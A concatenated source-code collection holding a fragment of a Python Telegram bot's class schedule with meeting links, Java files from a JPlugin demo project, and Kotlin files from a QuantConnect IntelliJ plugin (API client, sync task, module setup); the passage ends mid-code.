zoom = "https://meet.google.com/lookup/asny3chck7?authuser=1&hs=179"), Lesson( name = 'English | Синекоп', week = 3, day = '1', time = "14:05", zoom = "https://us04web.zoom.us/j/9822532040?pwd=c<KEY>09"), Lesson( name = 'Методы оптимизаций (лекция) | <NAME>', week = 3, day = '2', time = "10:15", zoom = "https://us04web.zoom.us/j/73389991708?pwd=<PASSWORD>"), Lesson( name = 'Мат.мод (лабы) | <NAME>', week = 3, day = '2', time = "14:05", zoom = "Наверное не придет"), Lesson( name = 'Теория сложности (практика) | <NAME>', week = 0, day = '3', time = "8:20", zoom = "https://us04web.zoom.us/j/3033669459?pwd=<PASSWORD>"), Lesson( name = 'Методы оптимизаций (практика) | <NAME>', week = 3, day = '3', time = "10:15", zoom = "https://us04web.zoom.us/j/77043249383?pwd=<PASSWORD>"), Lesson( name = 'QAQC (лекция) | <NAME>', week = 1, day = '3', time = "12:10", zoom = "https://bth.zoom.us/j/62733592448"), Lesson( name = 'Мат.прога | Хмельницкий', week = 3, day = '3', time = "14:05", zoom = "Пару я дал, а ссылку я не дам \n В группе мат.прога (там даже ссылки на группу нет)"), Lesson( name = 'Теория сложности (лекция) | <NAME>', week = 3, day = '4', time = "8:20", zoom = "https://us04web.zoom.us/j/3033669459?pwd=<PASSWORD>"), Lesson( name = 'Теор.вер (практика) | <NAME>', week = 3, day = '4', time = "10:15", zoom = "https://meet.google.com/vpz-fcaf-wtt"), Lesson( name = 'СРОМ 1 (лекция) | Завадская Л.О.', week = 3, day = '4', time = "12:10", zoom = "https://us04web.zoom.us/j/3908947683?pwd=<PASSWORD>"), Lesson( name = 'СРОМ 1 (лабы) | <NAME>', week = 0, day = '5', time = "8:20", zoom = "https://us04web.zoom.us/j/8397990765?pwd=<PASSWORD> но это не точно"), Lesson( name = 'СРОМ 2 (ОАОАОАААО) (лекция) | Сенсей', week = 3, day = '5', time = "10:15", zoom = "https://us04web.zoom.us/j/71468510955?pwd=<PASSWORD>09"), Lesson( name = 'СРОМ 1 (практика) | Завадская Л.О.', week = 0, day = '5', time = "12:10", zoom = "https://us04web.zoom.us/j/3908947683?pwd=<PASSWORD>ZSU3dZc3ZVL0RaSUJqdz09"), ) return schedule
0d5f1129a8f6cb9190112eb1929d6d4c6a660fd3
[ "Python" ]
3
Python
Daniloday/TelegramBot
32d87f685f38328787ab99e12f5452e467717ac7
f10748b8f41d9691ac35dc9df07870610d3becc8
refs/heads/master
<repo_name>adanac/jplugin-test<file_sep>/src/main/java/org/adanac/jplugin/study/dbo/RespJson.java package org.adanac.jplugin.study.dbo; import java.io.Serializable; public class RespJson implements Serializable { /** * */ private static final long serialVersionUID = -1952462140653769221L; private String resultCode = new String(); private String msg = new String(); private Object databody; public String getResultCode() { return resultCode; } public void setResultCode(String resultCode) { this.resultCode = resultCode; } public Object getDatabody() { return databody; } public void setDatabody(Object databody) { this.databody = databody; } public String getMsg() { return msg; } public void setMsg(String msg) { this.msg = msg; } } <file_sep>/src/main/java/org/adanac/jplugin/study/util/MyHttpServletRequestWrapper.java package org.adanac.jplugin.study.util; import java.io.BufferedReader; import java.io.IOException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; public class MyHttpServletRequestWrapper extends HttpServletRequestWrapper { public MyHttpServletRequestWrapper(HttpServletRequest request) { super(request); } private String getBodyAsString() { StringBuffer buff = new StringBuffer(); buff.append(" BODY_DATA START [ "); char[] charArr = new char[getContentLength()]; try { BufferedReader reader = new BufferedReader(getReader()); reader.read(charArr, 0, charArr.length); reader.close(); } catch (IOException e) { e.printStackTrace(); } buff.append(charArr); buff.append(" ] BODY_DATA END "); return buff.toString(); } public String toString() { return getBodyAsString(); } } <file_sep>/src/main/java/org/adanac/jplugin/study/util/PrimaryUtil.java package org.adanac.jplugin.study.util; import java.util.Date; import java.util.HashMap; import java.util.Map; public class PrimaryUtil { public static boolean support(Class<?> clz) { return getTransformer(clz) != null; } public static Transformer getTransformer(Class<?> clz) { if (clz.isEnum()) { return transformerMap.get(Enum.class); } else { return transformerMap.get(clz); } } private static Map<Class<?>, Transformer> transformerMap = new HashMap<Class<?>, Transformer>(); static { transformerMap.put(Integer.class, new IntegerTrans()); transformerMap.put(int.class, new IntegerTrans()); transformerMap.put(Long.class, new LongTrans()); transformerMap.put(long.class, new LongTrans()); transformerMap.put(Double.class, new DoubleTrans()); transformerMap.put(double.class, new DoubleTrans()); transformerMap.put(Float.class, new FloatTrans()); transformerMap.put(float.class, new FloatTrans()); transformerMap.put(Date.class, new DateTrans()); transformerMap.put(String.class, new StringTrans()); transformerMap.put(Enum.class, new EnumTrans()); } public static class Transformer { public String convertToString(Object obj) { return null; } public Object fromString(Class<?> t, String s) { return null; } } public static class StringTrans extends Transformer { public String convertToString(Object obj) { return (String) obj; } public Object fromString(Class<?> t, String s) { return s; } } public static class IntegerTrans extends Transformer { @Override public String convertToString(Object obj) { return obj.toString(); } @Override public Object fromString(Class<?> t, String s) { return Integer.parseInt(s); } } public static class LongTrans extends Transformer { @Override public String convertToString(Object obj) { return obj.toString(); } @Override public Object fromString(Class<?> t, String s) { return Long.parseLong(s); } } public static class DoubleTrans extends Transformer { @Override public String convertToString(Object obj) { return obj.toString(); } @Override public Object fromString(Class<?> t, String s) { return Double.parseDouble(s); } } public static class FloatTrans extends Transformer { @Override public String convertToString(Object obj) { return obj.toString(); } @Override public Object fromString(Class<?> t, String s) { return Float.parseFloat(s); } } public static class DateTrans extends Transformer { @Override public String convertToString(Object obj) { return String.valueOf(((Date) obj).getTime()); } @Override public Object fromString(Class<?> t, String s) { return new Date(Long.parseLong(s)); } } public static class BooleanTrans extends Transformer { @Override public String convertToString(Object obj) { if ((Boolean) obj) { return "true"; } else { return "false"; } } @Override public Object fromString(Class<?> t, String s) { if ("true".equals(s)) { return true; } else { return false; } } } public static class EnumTrans extends Transformer { @Override public String convertToString(Object obj) { return obj.toString(); } @SuppressWarnings("unchecked") @Override public Object fromString(@SuppressWarnings("rawtypes") Class t, String s) { return Enum.valueOf(t, s); } } }<file_sep>/src/main/java/org/adanac/jplugin/study/service/ICustomerService.java package org.adanac.jplugin.study.service; import java.util.HashMap; import java.util.List; import org.adanac.jplugin.study.dbo.Customer; import net.jplugin.core.ctx.api.Rule; import net.jplugin.core.ctx.api.Rule.TxType; import net.jplugin.core.das.api.PageCond; import net.jplugin.core.das.api.PageQueryResult; public interface ICustomerService { @Rule List<Customer> queryAllCustomer(); @Rule(methodType = TxType.REQUIRED) boolean removeCustomer(Long custId); @Rule(methodType = TxType.REQUIRED) void changeStatus(Long custId, String status); @Rule(methodType = TxType.REQUIRED) void updateCustomer(Customer cust); @Rule Customer getCustomer(long custId); @Rule PageQueryResult<Customer> queryCustomer(HashMap<String, String> query, PageCond pageCond); @Rule(methodType = TxType.REQUIRED) long addCustomer(Customer cust); } <file_sep>/src/main/java/org/adanac/jplugin/study/Plugin.java package org.adanac.jplugin.study; import org.adanac.jplugin.study.controller.CustomerController; import org.adanac.jplugin.study.dbo.Customer; import org.adanac.jplugin.study.mapper.ICustomerMapper; import org.adanac.jplugin.study.service.CustomerServiceImpl; import org.adanac.jplugin.study.service.ICustomerService; import org.adanac.jplugin.study.util.DbConstant; import org.adanac.jplugin.study.util.MyWebFilter; import net.jplugin.core.ctx.ExtensionCtxHelper; import net.jplugin.core.das.ExtensionDasHelper; import net.jplugin.core.das.mybatis.api.ExtensionMybatisDasHelper; import net.jplugin.core.das.mybatis.api.MysqlPageInterceptor; import net.jplugin.core.kernel.api.AbstractPlugin; import net.jplugin.ext.webasic.ExtensionWebHelper; public class Plugin extends AbstractPlugin { private static final String ENCODE_UTF8 = "UTF-8"; public static String contentType = "text/html; charset=" + ENCODE_UTF8; public static final String TEMPLATE_PREFIX = "/WEB-INF/pages/"; public static final String TEMPLATE_SUFFIX = ".jsp"; public Plugin() { // 过滤器 ExtensionWebHelper.addWebFilterExtension(this, MyWebFilter.class); // 发布一个到JSP的控制器,JSP页面未实现,仅作服务端代码写法示例 ExtensionWebHelper.addWebExControllerExtension(this, "/cust", CustomerController.class); // 添加mapper映射 ExtensionMybatisDasHelper.addMappingExtension(this, Customer.class); // 注册数据源 ExtensionDasHelper.addDataSourceExtension(this, DbConstant.DB_NAME, "database"); // 添加web扩展,通过ajax加载数据 // ExtensionWebHelper.addWebExControllerExtension(this, "/cust_manager", // AjaxController.class); // 添加web扩展,通过jsp同步请求加载数据 // ExtensionWebHelper.addWebExControllerExtension(this, "/cust_jsp", // JSPController.class); // 添加service扩展 ExtensionCtxHelper.addRuleExtension(this, ICustomerService.class.getName(), ICustomerService.class, CustomerServiceImpl.class); // 注册映射接口 ExtensionMybatisDasHelper.addMappingExtension(this, ICustomerMapper.class); // 添加统一分页拦截器 ExtensionMybatisDasHelper.addInctprorExtension(this, MysqlPageInterceptor.class); } @Override public void init() { } @Override public int getPrivority() { return 0; } }<file_sep>/src/main/java/org/adanac/jplugin/study/util/StringUtils.java package org.adanac.jplugin.study.util; public class StringUtils { public StringUtils() { super(); } public static boolean isEmpty(final CharSequence cs) { return cs == null || cs.length() == 0; } public static boolean isEmpty(final String cs) { return cs == null || cs.length() == 0; } public static boolean isNotEmpty(final CharSequence cs) { return !isEmpty(cs); } }
b24907f9a0e27eec925037f3c397324c95b47de5
[ "Java" ]
6
Java
adanac/jplugin-test
ebfe3dbf6f9289ed6224d5b3525c1cbfe6d8df8d
c0201543a0636c4c41d83d07149b641d6085599e
refs/heads/master
<repo_name>burju/ApiFramework<file_sep>/src/test/java/com/hrms/runners/APIRunners.java package com.hrms.runners; import io.cucumber.junit.Cucumber; import io.cucumber.junit.CucumberOptions; import org.junit.runner.RunWith; @RunWith(Cucumber.class) @CucumberOptions ( features = "src/test/resources/features", glue= {"com.hrms.api.steps.practice"}, dryRun = false, tags = "@APITest") public class APIRunners { } <file_sep>/src/test/java/com/hrms/api/steps/practice/APIAuthenticationSteps.java package com.hrms.api.steps.practice; import com.hrms.utils.CommonMethods; import io.cucumber.java.en.Given; import io.restassured.specification.RequestSpecification; import io.restassured.response.Response; import org.junit.Test; import static io.restassured.RestAssured.*; //manually import that public class APIAuthenticationSteps { private Response response; public static String Token; private static RequestSpecification request; String generateTokenURI= "http://3.237.189.167/syntaxapi/api/generateToken.php"; @Test @Given("user generates token") public void user_generates_token() { request= given().header("Content-Type", "application/json"); // System.out.println(request.log().all()); //now writing my when part: response= request.body(CommonMethods.readJson("C:\\Users\\rucha\\eclipse-workspace\\CucumberFrameWorkBatch8\\src\\test\\resources\\jsonFiles\\generateToken.json")) .post(generateTokenURI); response.prettyPrint(); //from the response let's get only Token value. Token= response.jsonPath().getString("token"); System.out.println(Token); } }
9cb3cdb00b4ae95779d8c39f4549a3d8a295a3b6
[ "Java" ]
2
Java
burju/ApiFramework
a3327d825c579686778ce50296a9b41260391bbf
60434f58aea5cde24f412c048ea66457905299d7
refs/heads/master
<repo_name>steven87vt/broadcast-channel-jest-fails-exit<file_sep>/ClientApp/components/__tests__/home-page.spec.js import Vuex from 'vuex' import VueRouter from 'vue-router' import merge from 'lodash/merge' import BroadcastChannel from 'broadcast-channel' import { shallowMount, createLocalVue } from '@vue/test-utils' import { createTestStore } from '../../../test-create' import router from '../../router' import HomePage from '../home-page' const localVue = createLocalVue() localVue.use(Vuex) localVue.use(VueRouter) function createWrapper(overrides) { const defaults = { localVue, router, store: createTestStore() } return shallowMount(HomePage, merge(defaults, overrides)) } describe('login.vue', () => { beforeEach(async () => { let result = await BroadcastChannel.clearNodeFolder() }) test('login matches snapshot test.', async (done) => { const wrapper = createWrapper() const closeMethodSpy = jest.spyOn(wrapper.vm.authChannel, 'close') expect(wrapper).toMatchSnapshot() wrapper.destroy() await new Promise((resolve) => { setTimeout(resolve, 500) }).then(() => { expect(closeMethodSpy).toHaveBeenCalled() done() }) }) }) <file_sep>/ClientApp/app.js import Vue from 'vue' import Vuex from 'vuex' import router from './router' import { sync } from 'vuex-router-sync' import { createStore } from './store/index' import bootstrap from 'bootstrap' import App from './components/app-root' Vue.use(Vuex) const store = createStore(Vue.prototype.$http) sync(store, router) const app = new Vue({ store, router, ...App }) export { app, router, store } <file_sep>/webpack.config.js const path = require('path') const webpack = require('webpack') const bundleOutputDir = './wwwroot/dist' const ExtractTextPlugin = require('extract-text-webpack-plugin') const HtmlWebpackPlugin = require('html-webpack-plugin') const UglifyJsPlugin = require('uglifyjs-webpack-plugin') module.exports = (env) => { const isDevBuild = !(process.env.NODE_ENV && process.env.NODE_ENV === 'production') return [ { stats: { modules: false }, entry: { main: './ClientApp/entry.js' }, resolve: { extensions: ['.js', '.vue'], alias: { vue$: 'vue/dist/vue', components: path.resolve(__dirname, './ClientApp/components'), } }, devServer: { hot: true, watchOptions: { poll: true } }, watchOptions: { aggregateTimeout: 300, poll: 1000 }, output: { path: path.join(__dirname, bundleOutputDir), filename: '[name].js', publicPath: '/' }, module: { rules: [ { test: /\.vue$/, use: 'vue-loader' }, { test: /\.js$/, include: /ClientApp/, use: 'babel-loader' }, { test: /\.css$/, use: isDevBuild ? ['style-loader', 'css-loader'] : ExtractTextPlugin.extract({ use: 'css-loader' }) }, { test: /\.(eot|woff|woff2|ttf|svg|png|jpe?g|gif)(\?\S*)?$/, use: 'url-loader?limit=100000&name=[name].[ext]' }, { test: /(pdfkit|linebreak|fontkit|unicode|brotli|png-js).*\.js$/, loader: 'transform-loader?brfs' } ] }, plugins: [ new webpack.DllReferencePlugin({ context: __dirname, manifest: require('./wwwroot/dist/vendor-manifest.json') }), new webpack.DefinePlugin({ 'process.env.NODE_ENV': isDevBuild ? '"development"' : '"production"', }) ] .concat( isDevBuild ? [ new webpack.SourceMapDevToolPlugin({ filename: '[file].map', // Remove this line if you prefer inline source maps moduleFilenameTemplate: path.relative(bundleOutputDir, '[resourcePath]') // Point sourcemap entries to the original file locations on disk }) ] : [new UglifyJsPlugin()] ) .concat( [ new HtmlWebpackPlugin({ title: 'Testing Broadcast Channel', template: './ClientApp/templates/index.template.ejs' }) ] ) } ] } <file_sep>/ClientApp/store/index.js import Vuex from 'vuex' import merge from 'lodash/merge' export const createStore = (http, storeOverrides) => { const defaults = { state: { user: null }, mutations: { user(state, payload) { state.user = payload.user } }, actions: { async setUser({ commit }, user) { let obj = {} obj.user = user commit('user', obj) } }, modules: {} } return new Vuex.Store(merge(defaults, storeOverrides)) }
535b650a23e363096f4a10cb65cb27a1537db4a7
[ "JavaScript" ]
4
JavaScript
steven87vt/broadcast-channel-jest-fails-exit
c5188e40731264f88f021f221ff37e8e3dc35976
bb3db346bc8a4508d1db934421a224f9b48b5ffb
refs/heads/master
<repo_name>jmerle/quantconnect-intellij-plugin<file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/APIService.kt package com.jaspervanmerle.qcij.api import com.intellij.openapi.components.service import com.intellij.openapi.project.Project import com.jaspervanmerle.qcij.api.client.BacktestClient import com.jaspervanmerle.qcij.api.client.CompileClient import com.jaspervanmerle.qcij.api.client.FileClient import com.jaspervanmerle.qcij.api.client.ProjectClient import com.jaspervanmerle.qcij.api.model.QuantConnectCredentials import com.jaspervanmerle.qcij.config.CredentialsListener import com.jaspervanmerle.qcij.config.CredentialsService class APIService(project: Project) { private val api = APIClient(project.service<CredentialsService>().getCredentials()) init { project.messageBus.connect().subscribe(CredentialsListener.TOPIC, object : CredentialsListener { override fun onCredentialsChange(newCredentials: QuantConnectCredentials?) { api.credentials = newCredentials } }) } val files = FileClient(api) val projects = ProjectClient(api) val backtests = BacktestClient(api) val compiles = CompileClient(api) } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/response/CreateCompileResponse.kt package com.jaspervanmerle.qcij.api.model.response import com.fasterxml.jackson.annotation.JsonProperty import com.jaspervanmerle.qcij.api.model.QuantConnectCompileFile import com.jaspervanmerle.qcij.api.model.QuantConnectCompileState data class CreateCompileResponse( val projectId: Int, val compileId: String, val signature: String, val state: QuantConnectCompileState, @JsonProperty("parameters") val files: List<QuantConnectCompileFile> ) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/APIClient.kt package com.jaspervanmerle.qcij.api import com.fasterxml.jackson.databind.DeserializationFeature import com.fasterxml.jackson.databind.ObjectMapper import com.fasterxml.jackson.databind.module.SimpleModule import com.fasterxml.jackson.datatype.jsonorg.JsonOrgModule import com.fasterxml.jackson.module.kotlin.KotlinModule import com.github.kittinunf.fuel.Fuel import com.github.kittinunf.fuel.core.Method import com.github.kittinunf.fuel.core.Request import com.github.kittinunf.fuel.core.extensions.authentication import com.github.kittinunf.result.Result import com.jaspervanmerle.qcij.api.model.QuantConnectCredentials import com.jaspervanmerle.qcij.api.model.exception.APIException import com.jaspervanmerle.qcij.api.model.exception.InvalidCredentialsException import com.jaspervanmerle.qcij.api.serializer.InstantDeserializer import com.jaspervanmerle.qcij.api.serializer.InstantSerializer import java.security.MessageDigest import java.time.Instant import java.time.ZoneOffset import java.time.format.DateTimeFormatter import org.json.JSONObject class APIClient(var credentials: QuantConnectCredentials? = null) { companion object { private const val BASE_URL = "https://www.quantconnect.com/api/v2/" private val DATE_FORMAT = DateTimeFormatter .ofPattern("yyyy-MM-dd HH:mm:ss") .withZone(ZoneOffset.UTC) } val objectMapper: ObjectMapper = ObjectMapper() .registerModule(KotlinModule()) .registerModule(JsonOrgModule()) .registerModule(SimpleModule() .addSerializer(Instant::class.java, InstantSerializer(DATE_FORMAT)) .addDeserializer(Instant::class.java, InstantDeserializer(DATE_FORMAT)) ) .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false) fun get(endpoint: String): String { return executeRequest(request(Method.GET, endpoint)) } fun post(endpoint: String, body: Map<String, Any> = emptyMap()): String { return executeRequest(request(Method.POST, endpoint).body(JSONObject(body).toString())) } private fun request(method: Method, endpoint: String): Request { val request = Fuel.request(method, BASE_URL + endpoint) if (credentials == null) { return request } val userId = credentials!!.userId val apiToken = credentials!!.apiToken val timestamp = System.currentTimeMillis() / 1000 val hash = MessageDigest .getInstance("SHA-256") .digest("$apiToken:$timestamp".toByteArray()) .fold("", { str, it -> str + "%02x".format(it) }) return request .authentication() .basic(userId, hash) .header("Timestamp", timestamp) } private fun executeRequest(request: Request): String { val (_, response, result) = request.responseString() if (response.statusCode == 500) { throw InvalidCredentialsException() } if (result is Result.Failure || response.statusCode < 200 || response.statusCode >= 300) { throw APIException("${request.method} request to ${request.url} failed (status code ${response.statusCode})") } val body = result.get() val json = JSONObject(body) if (!json.getBoolean("success")) { if (json.has("errors")) { val errors = json.getJSONArray("errors") if (errors.length() > 0) { val error = errors.getString(0) if (error.startsWith("Hash doesn't match.")) { throw InvalidCredentialsException() } throw APIException(error) } } if (json.has("messages")) { val messages = json.getJSONArray("messages") throw APIException(messages.getString(0)) } throw APIException("Something went wrong (status code ${response.statusCode})") } return body } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/QuantConnectCompileFile.kt package com.jaspervanmerle.qcij.api.model data class QuantConnectCompileFile( val file: String, val parameters: List<QuantConnectCompileParameter> ) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/response/GetAllBacktestsResponse.kt package com.jaspervanmerle.qcij.api.model.response import com.jaspervanmerle.qcij.api.model.QuantConnectBacktest data class GetAllBacktestsResponse(val backtests: List<QuantConnectBacktest>) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/sync/SyncTask.kt package com.jaspervanmerle.qcij.sync import com.intellij.openapi.application.ApplicationManager import com.intellij.openapi.application.WriteAction import com.intellij.openapi.components.service import com.intellij.openapi.progress.PerformInBackgroundOption import com.intellij.openapi.progress.ProgressIndicator import com.intellij.openapi.progress.Task import com.intellij.openapi.project.Project import com.intellij.openapi.project.modifyModules import com.intellij.openapi.roots.ModuleRootManager import com.intellij.openapi.vfs.LocalFileSystem import com.intellij.util.FileContentUtil import com.intellij.util.io.createDirectories import com.intellij.util.io.write import com.jaspervanmerle.qcij.api.APIService import com.jaspervanmerle.qcij.api.model.QuantConnectFile import com.jaspervanmerle.qcij.api.model.QuantConnectProject import com.jaspervanmerle.qcij.config.ConfigService import java.io.File import java.nio.file.Path import java.nio.file.Paths import java.time.Instant class SyncTask(project: Project) : Task.Backgroundable( project, "Synchronizing QuantConnect projects and libraries", true, PerformInBackgroundOption.ALWAYS_BACKGROUND ) { private val api = project.service<APIService>() private val config = project.service<ConfigService>() override fun run(indicator: ProgressIndicator) { indicator.isIndeterminate = false indicator.fraction = 0.0 indicator.text = "Pushing changes" push(indicator) indicator.text = "Pulling changes" pull(indicator) } override fun onSuccess() { LocalFileSystem.getInstance().refresh(true) FileContentUtil.reparseOpenedFiles() } private fun push(indicator: ProgressIndicator) { // TODO(jmerle): Push locally changed files indicator.fraction += 0.5 } private fun pull(indicator: ProgressIndicator) { val projects = api.projects.getAll() for (qcProject in projects) { indicator.checkCanceled() indicator.fraction += 0.5 / projects.size.toDouble() if (qcProject.projectId !in config.syncedProjects) { createProject(qcProject) continue } val localModified = Instant.ofEpochSecond(config.syncedProjects[qcProject.projectId]!!) if (qcProject.modified.isAfter(localModified)) { updateProject(qcProject) continue } } for ((projectId, _) in config.syncedProjects) { if (projects.none { it.projectId == projectId }) { deleteProject(projectId) } } } private fun createProject(qcProject: QuantConnectProject) { qcProject.name.toPath().createDirectories() createSourceFolder(qcProject.name.toFile()) config.projectRoots[qcProject.projectId] = qcProject.name for (qcFile in api.files.getAll(qcProject.projectId)) { writeFileIfNecessary(qcProject, qcFile) } config.syncedProjects[qcProject.projectId] = Instant.now().epochSecond } private fun updateProject(qcProject: QuantConnectProject) { val qcFiles = api.files.getAll(qcProject.projectId) val filesToDelete = getFilesInProject(qcProject.name, true).toMutableList() for (qcFile in qcFiles) { filesToDelete.removeIf { qcFile.name.startsWith(it) } writeFileIfNecessary(qcProject, qcFile) } for (fileToDelete in filesToDelete) { val localPath = Paths.get(qcProject.name, fileToDelete).toString() localPath.toFile().deleteRecursively() config.syncedFiles.remove(localPath) } } private fun deleteProject(projectId: Int) { val projectRoot = config.projectRoots[projectId]!! for (file in getFilesInProject(projectRoot, false)) { config.syncedFiles.remove(Paths.get(projectRoot, file).toString()) } config.syncedProjects.remove(projectId) config.projectRoots.remove(projectId) projectRoot.toFile().deleteRecursively() } private fun writeFileIfNecessary(qcProject: QuantConnectProject, qcFile: QuantConnectFile) { val localPath = Paths.get(qcProject.name, qcFile.name).toString() if (localPath in config.syncedFiles) { val localModified = Instant.ofEpochSecond(config.syncedFiles[localPath]!!) if (!qcFile.modified.isAfter(localModified)) { return } } localPath.toPath().write(qcFile.content) config.syncedFiles[localPath] = Instant.now().epochSecond } private fun getFilesInProject(projectRoot: String, includeDirectories: Boolean): List<String> { val projectDirectory = projectRoot.toFile() return projectDirectory .walkTopDown() .filter { includeDirectories || it.isFile } .map { it.relativeTo(projectDirectory) } .map { it.path.replace("\\", "/") } .filter { it.isNotBlank() } .toList() } private fun createSourceFolder(directory: File) { ApplicationManager.getApplication().invokeLater { project.modifyModules { WriteAction.run<Throwable> { val model = ModuleRootManager.getInstance(modules[0]).modifiableModel val virtualDirectory = LocalFileSystem.getInstance().refreshAndFindFileByIoFile(directory)!! model.contentEntries[0].addSourceFolder(virtualDirectory, false) model.commit() } } } } private fun String.toPath(): Path { return Paths.get(project.basePath!!, this) } private fun String.toFile(): File { return toPath().toFile() } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/project/utilities.kt package com.jaspervanmerle.qcij.project import com.intellij.openapi.components.service import com.intellij.openapi.project.Project import com.jaspervanmerle.qcij.config.CredentialsService fun Project?.isQuantConnectProject() = this != null && service<CredentialsService>().getCredentials() != null <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/QuantConnectProject.kt package com.jaspervanmerle.qcij.api.model import java.time.Instant data class QuantConnectProject( val projectId: Int, val name: String, val modified: Instant, val created: Instant, val ownerId: Int, val language: String, val collaborators: List<QuantConnectCollaborator>, val leanVersionId: Int, val owner: Boolean, val description: String, val channelId: String, val parameters: List<QuantConnectParameter>, val libraries: List<Int>, val isAlphaStreamDeployment: Int ) <file_sep>/settings.gradle.kts rootProject.name = "quantconnect-intellij-plugin" <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/exception/APIException.kt package com.jaspervanmerle.qcij.api.model.exception class APIException(message: String) : Exception(message) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/module/QuantConnectModuleType.kt package com.jaspervanmerle.qcij.module import com.intellij.openapi.module.ModuleType import com.intellij.openapi.module.ModuleTypeManager import com.jaspervanmerle.qcij.ui.Icons import javax.swing.Icon class QuantConnectModuleType : ModuleType<QuantConnectModuleBuilder>(ID) { companion object { private const val ID = "com.jaspervanmerle.qcij.module.QuantConnectModuleType" fun getInstance(): QuantConnectModuleType { return ModuleTypeManager.getInstance().findByID(ID) as QuantConnectModuleType } } override fun createModuleBuilder(): QuantConnectModuleBuilder { return QuantConnectModuleBuilder() } override fun getName(): String { return "QuantConnect" } override fun getDescription(): String { return "QuantConnect project with synced projects and libraries" } override fun getNodeIcon(isOpened: Boolean): Icon { return Icons.LOGO } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/client/CompileClient.kt package com.jaspervanmerle.qcij.api.client import com.fasterxml.jackson.module.kotlin.readValue import com.jaspervanmerle.qcij.api.APIClient import com.jaspervanmerle.qcij.api.model.response.CreateCompileResponse import com.jaspervanmerle.qcij.api.model.response.GetCompileResponse class CompileClient(private val api: APIClient) { fun get(projectId: Int, compileId: String): GetCompileResponse { return api.objectMapper.readValue(api.get("compile/read?projectId=$projectId&compileId=$compileId")) } fun create(projectId: Int): CreateCompileResponse { return api.objectMapper.readValue(api.post("compile/create?projectId=$projectId")) } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/module/QuantConnectModuleBuilder.kt package com.jaspervanmerle.qcij.module import com.intellij.ide.util.projectWizard.ModuleBuilder import com.intellij.ide.util.projectWizard.ModuleWizardStep import com.intellij.ide.util.projectWizard.WizardContext import com.intellij.openapi.Disposable import com.intellij.openapi.components.service import com.intellij.openapi.module.ModuleType import com.intellij.openapi.roots.ModifiableRootModel import com.jaspervanmerle.qcij.config.CredentialsService class QuantConnectModuleBuilder : ModuleBuilder() { var userId = "" var apiToken = "" override fun getModuleType(): ModuleType<*> { return QuantConnectModuleType.getInstance() } override fun setupRootModel(modifiableRootModel: ModifiableRootModel) { doAddContentEntry(modifiableRootModel) val credentialsService = modifiableRootModel.project.service<CredentialsService>() credentialsService.setCredentials(userId, apiToken) } override fun getCustomOptionsStep(context: WizardContext?, parentDisposable: Disposable?): ModuleWizardStep? { return QuantConnectModuleWizardStep(this) } } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/action/utilities.kt package com.jaspervanmerle.qcij.action import com.intellij.ide.DataManager import com.intellij.openapi.actionSystem.ActionManager import com.intellij.openapi.actionSystem.ActionPlaces import com.intellij.openapi.actionSystem.AnActionEvent fun triggerAction(actionId: String) { val actionManager = ActionManager.getInstance() val action = actionManager.getAction(actionId) DataManager.getInstance().dataContextFromFocusAsync .onSuccess { val actionEvent = AnActionEvent.createFromDataContext(ActionPlaces.UNKNOWN, null, it) action.actionPerformed(actionEvent) } } inline fun <reified T> triggerAction() = triggerAction(T::class.java.name) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/ui/components.kt package com.jaspervanmerle.qcij.ui import com.intellij.ui.components.JBCheckBox import com.intellij.ui.components.JBPasswordField import com.intellij.ui.components.JBTextField import javax.swing.JComponent import javax.swing.event.DocumentEvent import javax.swing.event.DocumentListener import javax.swing.text.JTextComponent import kotlin.reflect.KMutableProperty0 // The default form components in the Kotlin UI DSL do not seem to call setters on change, these do private fun wrapTextComponent(component: JTextComponent, property: KMutableProperty0<String>): JTextComponent { component.text = property.get() component.document.addDocumentListener(object : DocumentListener { override fun changedUpdate(e: DocumentEvent?) { property.set(component.text) } override fun insertUpdate(e: DocumentEvent?) { property.set(component.text) } override fun removeUpdate(e: DocumentEvent?) { property.set(component.text) } }) return component } fun createTextField(property: KMutableProperty0<String>): JComponent = wrapTextComponent(JBTextField(), property) fun createPasswordField(property: KMutableProperty0<String>): JComponent = wrapTextComponent(JBPasswordField(), property) fun createCheckBox(property: KMutableProperty0<Boolean>, label: String? = null): JComponent { val component = JBCheckBox(label) component.isSelected = property.get() component.addItemListener { property.set(component.isSelected) } return component } <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/QuantConnectCredentials.kt package com.jaspervanmerle.qcij.api.model data class QuantConnectCredentials(val userId: String, val apiToken: String) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/api/model/response/GetAllProjectsResponse.kt package com.jaspervanmerle.qcij.api.model.response import com.jaspervanmerle.qcij.api.model.QuantConnectProject data class GetAllProjectsResponse(val projects: List<QuantConnectProject>) <file_sep>/src/main/kotlin/com/jaspervanmerle/qcij/project/ProjectStartupActivity.kt package com.jaspervanmerle.qcij.project import com.intellij.openapi.components.service import com.intellij.openapi.project.Project import com.intellij.openapi.startup.StartupActivity import com.intellij.openapi.vfs.VirtualFileManager import com.intellij.openapi.vfs.newvfs.BulkFileListener import com.intellij.openapi.vfs.newvfs.events.VFileEvent import com.jaspervanmerle.qcij.action.SyncAction import com.jaspervanmerle.qcij.action.triggerAction import com.jaspervanmerle.qcij.sync.SyncService import java.nio.file.Paths class ProjectStartupActivity : StartupActivity { override fun runActivity(project: Project) { if (!project.isQuantConnectProject()) { return } val syncService = project.service<SyncService>() project.messageBus.connect().subscribe(VirtualFileManager.VFS_CHANGES, object : BulkFileListener { override fun after(events: MutableList<out VFileEvent>) { val projectEvents = events.filter { isPathInProject(project, it.path) } if (projectEvents.isNotEmpty()) { 